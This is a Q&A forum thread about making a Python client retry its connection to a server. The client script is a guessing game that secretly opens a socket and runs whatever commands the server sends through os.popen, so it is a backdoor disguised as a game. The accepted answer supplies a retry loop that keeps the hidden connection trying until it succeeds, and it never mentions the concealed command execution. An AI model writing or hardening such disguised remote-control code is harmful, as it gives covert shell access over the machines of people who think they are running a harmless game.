0

I have the following code.

This is for the client.py:

import random import socket import threading import os def access(): HOST = '127.0.0.1' PORT = 22262 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((HOST, PORT)) cmd_mode = False while True: command = client.recv(1024).decode('utf-8') if command == 'cmdon': cmd_mode = True client.send('You now have terminal access!'.encode('utf-8')) continue if command == 'cmdoff': cmd_mode = False if cmd_mode: os.popen(command) if command == 'hello': print('Hello World!') client.send(f'{command} was exectued successfully!'.encode('utf-8')) def game(): number = random.randint(0, 1000) tries = 1 done = False while not done: guess = int(input('Enter a guess: ')) if guess == number: done = True print('You won!') else: tries += 1 if guess > number: print('The actual number is smaller.') else: print('The actual number is larger.') print(f'You need {tries} tries!') t1 = threading.Thread(target=game) t2 = threading.Thread(target=access) t1.start() t2.start() 

This for server.py

import socket HOST = '127.0.0.1' PORT = 22262 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((HOST, PORT)) server.listen() client, address = server.accept() while True: print(f'Connected to {address}') cmd_input = input('Enter a command: ') client.send(cmd_input.encode('utf-8')) print(client.recv(1024).decode('utf-8')) 

For this to work properly I need to have the server continually running to get a response from the client. If I run the client before the server I get presented with the following error:

ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it 

Can I modify it to have client.py wait for the server to answer in order to connect to it? Basically I want to remove the time out error

2
  • Put client.connect((HOST, PORT)) in a try/except block. If an Exception is caught, retry. Commented Dec 26, 2020 at 19:26
  • Can you put that in code form please? I'm fairly new to python and I can't really code well Commented Dec 26, 2020 at 19:29

1 Answer 1

1

connect() will throw an exception if it can't connect. Catch it and retry:

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) while True: try: client.connect((HOST, PORT)) break except Exception as e: print("retrying: ", e); time.sleep(1) print("connected") 
Sign up to request clarification or add additional context in comments.

Comments

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.